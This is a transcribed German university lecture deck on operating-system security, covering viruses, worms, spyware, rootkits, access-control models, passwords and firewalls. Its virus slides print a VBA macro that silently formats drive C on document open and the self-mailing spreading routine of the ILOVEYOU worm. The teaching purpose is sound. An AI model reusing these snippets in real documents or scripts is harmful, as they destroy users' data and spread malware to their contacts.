Folien - Freie Universität Berlin
Transcription
Folien - Freie Universität Berlin
Schutz und Sicherheit Teil 3 Prof. Dr. Margarita Esponda Freie Universität Berlin WS 2011/2012 - M. Esponda-Argüero 1 Gegenmaßnahme mit Hardware-Unterstützung • Die NX-Bit Abkürzung von No eXecute-Bit ist eine einfache Hardware-Unterstützung zur Verbesserung der Sicherheit eines Computers. • Zuerst von AMD mit dem Prozessor Athlon 64 x86-Markt eingeführt mit dem Namen Enhanced Virus Protection (EVP) • Intel verwendet in seinen neuesten Prozessoren die gleiche Technik mit der Bezeichnung XD-Bit (Execute Disable). • Andere Firmen verwenden ähnliche Techniken. • Mit dem NX-Bit können Speichersegmente mit Daten von Speichersegmenten mit Programmcode unterschieden werden. • Dieser Schutz funktioniert allerdings nur mit Betriebssystemen, die die Unterstützung des NX-Bit ausnutzen. - M. Esponda-Argüero 2 Offenlegung von Schwachstellen in Betriebssystemen 120 Apple 100 Linux 80 Sun Solaris 60 Microsoft 40 BSD 20 0 2005 2006 2007 2008 2009 Quelle: IBM X-Force - M. Esponda-Argüero 3 Kritische Schwachstellen in Betriebssystemen 50 45 Apple 40 35 Linux 30 25 Sun Solaris 20 Microsoft 15 BSD 10 5 0 2005 2006 2007 2008 2009 Quelle: IBM X-Force - M. Esponda-Argüero 4 Warum gibt es so viele Schwachstellen? - - Warum schreiben Programmierer unsichere Software? - Zu wenig Kurse über Sicherheit - Sicherheit wird oft in Programmier-Aufgaben nicht erwähnt - die Firmen wollen Geld sparen C ist eine unsichere Programmiersprache Programmierer machen sich eher sorgen über andere Probleme Benutzer machen sich keine Sorgen über Sicherheit Sicherheit ist teuer und nimmt Zeit in Anspruch M. Esponda-Argüero 5 Viren Ein Computer-Virus ist ein Programm, das sich vervielfältigt, indem es sich an den Code von anderen Programmen anhängt. Viren sind auf Betriebssysteme, Systemarchitektur oder bestimmte Anwendungen spezialisiert Ein virus dropper, der normalerweise ein Trojaner ist, fügt das Virus in das System ein. - M. Esponda-Argüero 6 Viren Es gibt eine lange Liste von Virussorten, von denen einige wichtige hier aufgelistet sind: • • • • • • • • • • - File Boot Macro Source code Polymorphic Encrypted Stealth Tunneling Multipartite Armored M. Esponda-Argüero 7 Datei-Viren Das Virus hängt sich an das Ende einer Datei und ändert den Start des Programms, so dass mit Hilfe eines Sprungbefehls die Ausführung des Programms mit dem neu eingefügten Infiziertes AusführbareCode Code anfängt. Nach der Ausführung des VirusCodes geht die Kontrolle zurück in die normale Ausführung des Programms. - Malware M. Esponda-Argüero 8 Bootsektor-Viren Infiziert den Boot-Sektor des Systems und wird jedes Mal ausgeführt, bevor das Betriebssystem geladen wird. Bootsektor-Viren suchen sich weitere Boot-Sektoren (andere Festplatten, Memory-Sticks, usw.), um diese ebenfalls zu infizieren. Auch bekannt als Speicherviren. • Zuerst wird der echte Bootsektor auf einen sicheren Platz auf der Platte kopiert. • Das Virus kopiert sich selber in dem Bootsektor. - M. Esponda-Argüero 9 Bootsektor-Viren • Wenn der Computer hochgefahren wird, kopiert sich das Virus selbst im Speicher vorne oder zwischen unbenutzten InterruptVektoren. • Diese erste Phase passiert im Kernmodus, bevor das Betriebssystem, die MMU und Antiviren-Programme gestartet werden. • Zum Schluss fährt das Virus-Programm das Betriebssystem hoch und bleibt im Speicher. • Das Virusprogramm infiziert von da aus alle Speichermedien, die in Sicht kommen. - M. Esponda-Argüero 10 Boot-Viren - M. Esponda-Argüero 11 Makro-Viren Makroviren werden meistens in interpretierbaren Sprachen geschrieben wie z.B. Visual Basic. Ein Makro ist ein Programm, das in einem Dokument eingebettet ist. Beispiel: Sub AutoOpen() Dim oFS Set oFS = CreateObject( "Scripting.FileSystemObject" ) vs = Shell( "c:command.com /k format c:" ,vbHide) End Sub Eine überwiegende Anzahl wird in VBA und VBS geschrieben und durch Office- und Staroffice-Dokumente verbreitet. - M. Esponda-Argüero 12 Makroviren Beispiel: • Das bekannte Melisa-Virus, das am 26. März 1999 gestartet worden ist. • Verbreitet sich durch Word-Dokumente, die per Email gesendet worden sind. • Die Word-Dokumente beinhalteten einen VBA-Macro, der aus dem Outlook-Adressbuch neue Email-Adressen holte und weitere Emails mit dem infizierten Word-Dokument sendete. • Der "ILOVEYOU"-Virus wurde auch in VBS geschrieben und wurde am 4.5.2000 gestartet. • 328 Programmzeilen verursachten $10 Milliarden Schaden. • Es ist kein schwieriges Programm gewesen, das vor allem die Vulnerabilität des Windows Betriebssystems zeigte. - M. Esponda-Argüero 13 LoveLetter.VBS sub spreadtoemail() for ctrlists = 1 to mapi.AddressLists.Count set a = mapi.AddressLists(ctrlists) x=1 for ctrentries = 1 to a.AddressEntries.Count malead = a.AddressEntries(x) set male=out.CreateItem(0) male.Recipients.Add( malead ) male.Subject = “ILOVEYOU” male.Body = “kindly check the attached LOVELETTER coming from me.” male.Attachments.Add(dirsystem&“\LOVE-LETTER-FOR-YOU.TXT.vbs”) male.Send x=x+1 next next end sub - M. Esponda-Argüero 14 Viren Source code Sucht nach Quellcode-Programm und verändert diese. Polymorphic Verändert sich, um zu vermeiden, dass Antiviren-Programme diese erkennen. Programmviren haben eine Signatur. Encrypted Um von Antiviren-Programmen unerkannt zu bleiben, sind einige Viren noch Mal verschlüsselt. Vor der Ausführung entschlüsseln sie sich selber. Stealth Versucht das Viruserkennung-System zu verändern. Multipartite Infiziert mehrere Stellen wie Speicher, Boot-Sektors, Dateien und erschwert damit die Erkennung. Armored Besonders schwer zu verstehen, weil dieses Virus manchmal komprimiert oder versteckt hinter Dateiattributen oder Namen ist. - M. Esponda-Argüero 15 Viren Gerätetreiberviren • Unter Windows und einigen UNIX-Systemen sind Gerätetreiber ausführbare Programme, die auf der Festplatte leben und während des Bootvorgangs geladen werden. • Gerätetreiber laufen im Kernmodus und besitzen damit dann alle Möglichkeiten, das System zu beschädigen. • Eine wichtige Einschränkung wäre es, Gerätetreiber nur im Benutzermodus laufen zu lassen. - M. Esponda-Argüero 16 Quellcode-Viren • Plattformunabhängig • Sucht nach C-Quellprogrammen • Die Zeile #include <virus.h> wird eingefügt. • Um den Virus zu aktivieren, muss noch eine richtige Stelle gefunden werden, um die Startfunktion aufzurufen. start_virus(); - M. Esponda-Argüero 17 Polymorphe Viren Beispiel: X = ( A+B+C-4 ) Quelle: Tanenbaum - M. Esponda-Argüero 18 Würmer Computerwürmer sind selbstreplizierende Programme, die sich über das Netz verbreiten und damit größeren Schaden anrichten können. Sie verbreiten sich meistens schneller als Viren, weil sie sich selbst fortbewegen können. - M. Esponda-Argüero 19 Würmer Beispiel: • 2.11.1988 von Robert Tappan Morris • Zwei Programme: Ladeprogramm und eigentliches Wurmprogramm. • Das Ladeprogramm (99 Zeilen C-Programm), von angegriffenen Systemen übersetzt und ausgeführt, baute eine Verbindung zum Stammrechner und holte dann das Wurmprogramm. • Das Wurmprogramm durchsuchte die Routing-Tabellen, und versuchte, in neuen Maschinen das Ladeprogramm zu verbreiten. - M. Esponda-Argüero 20 Würmer • 3 Methoden wurden für die Verbreitung des Ladeprogramms verwendet: rsh-Schell, Finger-Daemon (Pufferüberlauf) sendmail (Debugging-Hintertür) • Das Wurmprogramm selber versuchte Benutzer-Logins zu knacken in einem 3-stufigen Suchverfahren: - einfache Fälle ohne Passwort - Wörterbuch mit den 432 beliebtesten Passwörtern - jedes Wort aus dem standard-UNIX-on-line Wörterbuch Das ermöglichte es dem Wurm, weitere Maschinen zu infizieren. • - M. Esponda-Argüero 21 Der Morris-Internet-Wurm • Der Wurm prüfte in jeder neu eroberten Maschine, ob dort bereits ein Wurm lief und in 6 von 7 Fällen unterbrach er seine Ausführung selbst. • Das Verhältnis (1:7) führte zu einer Wurmüberschwemmung, die viele Maschinen zum Stillstand brachte. • 6000 Rechner wurden überfallen. • Das waren 10% der damaligen vernetzten Rechner. • Morris wurde verurteilt, bekam eine Geldstrafe von 10.000 Dollar, 3 Jahre auf Bewährung, und die Prozesskosten beliefen sich auf mehr als 100.000 Dollar. - M. Esponda-Argüero 22 Der Morris-Internet-Wurm - M. Esponda-Argüero 23 Adware - M. Esponda-Argüero 24 Adware - enthält Code, der persönliche Informationen des Benutzers überwacht - die Internet-Verbindung des Benutzers wird im Hintergrund missbraucht, indem mit Hilfe von sogenannten "Back channels" persönliche Information gesendet wird. - Legal? oder Illegal? Adware ohne ausdrückliche Zustimmung des Benutzers - = Spyware ⇒ illegal M. Esponda-Argüero 25 Schnüffelprogramme (Spyware) Definition von Barwinski et al. (2006) • Versteckt sich, so dass das Opfer sie nicht leicht finden kann • Sammelt Daten über den Benutzer (z.B. besuchte Websites, Passwörter, Kreditkartennummer, usw.) • Sendet die gesammelte Information an ihre Urheber • Es ist oft sehr schwierig aus dem System zu eliminieren - M. Esponda-Argüero 26 Spyware nach Barwinski et al. (2006) 3 Kategorien von Spyware: • Marketing sammelt Information, um gezielte Werbung zu erzeugen. • Überwachung von Unternehmen verwendet, um Angestellte zu überwachen. • Malware Zombie-Prozesse liegen auf der Lauer, um Benutzerinformation zu missbrauchen. Hauptlieferanten: Unterhaltung für Erwachsene, Warez (illegal beschaffte Software), Online-Reisen und Immobilien - M. Esponda-Argüero 27 Spyware Moshchuk et al. 2006 • 18 Millionen URLs wurden untersucht • 6% hatten Spyware • nach Studie von AOL/NSA sind 80% der PCs überfallen • mit durchschnittlich 93 einzelnen Spyware-Programmen pro Rechner • viel größere Infektionsrate durch Websites mit pornografischem Inhalt, kostenloser Software, Software zum Austauschen von Dateien in Peer-2-Peer-Netzwerken, usw. - M. Esponda-Argüero 28 Spyware Google Studie 2007 • in-depth Analysis von 4,5 Milliarden Websites • Der Anteil potenziell gefährlicher Websites in den GoogleTrefferlisten ist demnach seit April 2007 von unter 0,4 Prozent auf mehr als 1,5 Prozent im Dezember gestiegen. • Der Trend zeigt nach oben (nach Niels Provos). • Immer mehr legitime Websites werden gehackt und als MalwareSchleudern missbraucht. • Die Täter nutzen dabei jede sich bietende Sicherheitslücke aus. Schwachstellen gibt es überall, z.B. PHP-Anwendungen, Datenbanken, Content-Management-Systemen (CMS) oder BlogSoftware. - M. Esponda-Argüero 29 Schnüffelprogramme (Spyware) . . . Google Studie 2007 • Email ist nicht mehr die Hauptquelle von Malware, sondern Websites. • 4 Verbreitungsmechanismen • Infizieren von Webservern • Webseiten mit Benutzerbeteiligung • Eingefügte Werbung • Third-party widgets • Skriptsprachen (Javascript, VBScript, usw.) werden verwendet, um zuerst die Angreifbarkeit eines Rechners herauszufinden. Diese Information wird dann an Server weitergeleitet, um passende Angreifer zu fordern. • Bot-Netze und Techniken, um sich vor Antiviren-Software zu verstecken. - M. Esponda-Argüero 30 Port Scanning Wird verwendet, um Angriffsstellen zu finden. Es gibt eine Reihe von Tools, die eine Untermenge der typischen Programmierfehler und Schwachstellen in einem System untersucht. nmap Nessus http://www.insecure.org/nmap http://www.nessus.org Bei Angreifern und Administratoren sehr beliebt. - M. Esponda-Argüero 31 Rootkits Eine Sammlung von Programmen und Dateien, die versucht, ihre Existenz zu verbergen. Das Rootkit enthält Malware, oder Hintertüren, die ebenfalls versteckt werden. Sorten von Rootkits - Hypervisor eine virtuelle Maschine als Rootkit - Speicher existieren nur im Arbeitsspeicher des laufenden Systems - Kern ersetzt Teile des Betriebssystemkerns - Bibliothek versteckt sich in Bibliothekprogrammen (DLLs) - Anwendung versteckt sich in modifizierten Systemprogrammen - Firmware durch ein BIOS-Reflash oder Manipulation des ACPI - Advanced Configuration and Power Interface M. Esponda-Argüero 32 Rootkits Erstaunlich viele Firmen verwenden Rootkits als Kopierschutz von ihren Produkten • Sony BMG, XCP Extended Copy Protection für Musik-CDs verwendete ein Rootkits, der sich in Windows-Systemen installierte. • USB-Stick mit Finger-Abdruckleser von Sony versteckte ein Rootkit in Windows-Verzeichnissen. • Kinowelt verkauft DVDs mit einem Kopierschutz, der unter Windows ein Rootkit zum Verstecken von Prozessen installiert. • Die Firma EA hat in ihrem Spiel Spore im DRM-Paket des Programms ein Rootkit, um den Kopierschutz mit OnlineAuthentifizierung zu verbergen. - M. Esponda-Argüero 33 Das Sony-Rootkit • 2005. Sony BMG • auroruninf-Datei in ca. 20 Millionen CDs, die ein 12 MB-Rootkit in den Rechnern installierte • um die Musik zu hören, mussten die Benutzer eine Lizenzvereinbarung akzeptieren. Dabei wurde das Rootkit installiert, unabhängig davon, ob die Lizenz akzeptiert worden war oder nicht • Eine Reihe von $sys$-Dateien wurden installiert und eine davon war ein Filter, der alle CD-ROM-Systemaufrufe abhörte und alle Musikprogramme außer dem Sony-Programm verbot. • Der Rootkit überwachte Hörangewohnheiten von Benutzern und sendete die Information an Sony. • Ein fehlerhafter Verbergungsmechanismus löschte alle Einträge, die mit $sys$ begannen. • Ein Deinstallationsprogramm mit technischen Fehlern hinterließ angriffsanfällige Rechner. • Teilweise Code aus Open-Source - M. Esponda-Argüero 34 Rootkits Verstecke Anwendung Anwendung Anwendung Anwendung Anwendung SystemBibliothek SystemBibliothek SystemBibliothek SystemBibliothek SystemBibliothek Betriebssystem Betriebssystem Hypervisor Betriebssystem Betriebssystem Betriebssystem HW (BIOS) HW (BIOS) HW (BIOS) HW (BIOS) HW (BIOS) - M. Esponda-Argüero 35 Multilevel-Sicherheit DAC Discretionary Access Control • Die meisten Betriebssysteme bieten eine benutzerbestimmbare Zugriffskontrolle (DAC) • Nicht ausreichend an Stellen, wo stärkere Sicherheit notwendig wird, z.B. Krankenhäuser, Polizei, Patentanmeldung, usw. Lösung: MAC Mandatory Access Control. • Systembestimmbare Zugriffskontrolle • MAC-Mechanismen kontrollieren den Informationsfluss - M. Esponda-Argüero 36 Das Bell-LaPadula-Modell • Am meisten verbreitetes Multilevel-Sicherheitsmodell • Von Bell und LaPadula in Jahr 1973 vorgeschlagen • Für Militärische Sicherheit entwickelt • Dokumente (Objekte) haben Sicherheitsstufen z.B. • nicht klassifiziert • vertraulich • geheim • streng geheim • Benutzer bekommen dieselben Sicherheitsstufen zugeordnet • Benutzer haben je nach zugeordneten Sicherheitsstufen verschiedene Zugriffsrechte auf die Dokumente. - M. Esponda-Argüero 37 Das Bell-LaPadula-Modell Regeln für den Informationsfluss 1. Simple-Security-Regel Ein Prozess, der auf Sicherheitsstufe k läuft, kann nur Objekte mit der Sicherheitsstufe k oder niedriger lesen. 2. *-Regel Ein Prozess, der auf Sicherheitsstufe k läuft, kann nur auf Objekte auf seiner oder einer höheren Stufe schreiben. Prozesse dürfen nach unten lesen und nach oben schreiben. - M. Esponda-Argüero 38 Das Bell-LaPadula-Modell Sicherheitsstufe 4 Prozess Schreiben 3 Objekt 2 Lesen 1 niedrigste Priorität-Stufe - M. Esponda-Argüero 39 Das Bell-LaPadula-Modell • Die Information kann nur horizontal oder aufwärts fließen • Jedem Benutzer bekommt eine Sicherheitsstufe zugewiesen. • Diese Stufe wird zusammen mit anderen benutzerspezifischen Daten wie UID oder GID gespeichert. • Beim Login bekommt die Shell des Benutzers diese Sicherheitsstufe und kann an Kinderprozesse vererbt werden. • Prozesse können Dateien nicht öffnen, die zu einer größeren Sicherheitsstufe gehört. Das Bell-LaPadula-Modell ist für das Bewahren von Geheimnissen geeignet. - M. Esponda-Argüero 40 Das Biba-Modell Das Bell-LaPadula-Modell ist nicht dafür entwickelt, um die Integrität der Daten zu garantieren. Wir benötigen dafür ein Modell, das genau die umgekehrten Eigenschaften hat. 1. Simple-Integrity-Regel Ein Prozess, der auf Sicherheitsstufe k läuft, kann nur auf Objekte seiner oder einer niedrigeren Stufe schreiben. 2. Integrity-*Regel Ein Prozess, der auf Sicherheitsstufe k läuft, kann nur Objekte seiner oder einer höheren Stufe lesen - M. Esponda-Argüero 41 Authentifizierung • Der meist verwendete Authentifizierung-Mechanismus wird durch die Aufforderung vom Login-Namen und Passwort realisiert. • Das Passwortsystem ist die erste Verteidigung gegen Angreifer. • Die Login-ID wird für die DAC Discretionary Access Control verwendet • Der Eigentümer eines Objekts bestimmt, welche Rechte andere Benutzer über das Objekt haben. - M. Esponda-Argüero 42 Authentifizierung - M. Esponda-Argüero 43 Schwachstellen von Passwortsystemen Passworte können oft leicht geraten werden • mit einer Liste typischer Passworte • Morris und Thompson erstellten (1979) eine Liste von wahrscheinlichen Passwörtern - Vornamen, Nachnamen, - Straßen, Städte, - ein mittelgroßes Wörterbuch, - Autokennzeichen, - rückwärts geschriebene Wörter und - kurze Ketten zufälliger Buchstaben. • Mehr als 86% aller Passwörter waren in der Liste • Ähnliche Ergebnisse von Klein 1990 • Andere Studie (Kabay 1997) konnte 82% Passwörter erraten - M. Esponda-Argüero 44 Schwachstellen von Passwortsystemen • Das Wachstumm des Webs vergrößert das Problem, zeigt eine Studie von Florencio und Herley. 2007 • Jede Person muss immer mehr Passwörter auswendig lernen. • Diese Überforderung führ zu einfachen und schwächeren Passwörtern. • Das Internet ist zu einer unglaublichen Beute geworden. - M. Esponda-Argüero 45 Abwehrmechanismen Defense-in-Depths-Strategie • mehrere Sicherheitsschichten Firewalls • Zwei Varianten: Hardware und Software • In einem Webserver kontrolliert die Firewall, dass die Kommunikation nur mittels http stattfindet. • Hier hätte den Morris-Wurm nicht durchgehen können. • Mit Hilfe von Firewalls können verschiedene Sicherheits-Domänen definiert werden. - M. Esponda-Argüero 46 Firewall Demilitarized Zone Bildquelle: Silverschatz, Galvin und Gagne - M. Esponda-Argüero 47 Abwehrmechanismen Hardware-Firewalls Zustandslose • Header jedes kommenden Pakets werden untersucht • Quell- und Ziel-IP-Adresse, Quell- und Zielports • Art des Dienstes und des Protokolls • Apache-Webserver sind trotz Firewalls angreifbar Zustandsbehaftete • Verfolgen Verbindungen • Angriffserkennungssystem (Intrusion Detection System IDS) • Inhalte von Paketen werden auch untersucht Software-Firewalls Filter innerhalb des Betriebssystemkerns, die prinzipiell das gleiche wie Hardware-Firewall leisten - M. Esponda-Argüero 48 Firewall Probleme: Tunneling unerlaubtes Protokoll innerhalb erlaubtem Protokoll (z.B. telnet innerhalb von HTTP) IP-Spoofing Das Versenden von IP-Paketen mit gefälschter Absender-IP-Adresse - M. Esponda-Argüero 49 Firewall Bridging-Firewall Routing-Firewall Proxy-Firewall Personal firewall oder Desktop Firewall Application proxy firewall führt weitere Prüfungen zur Zugriffssteuerung und Protokollfunktionen System-call firewall Alle wichtige Systemaufrufe werden überwacht - M. Esponda-Argüero 50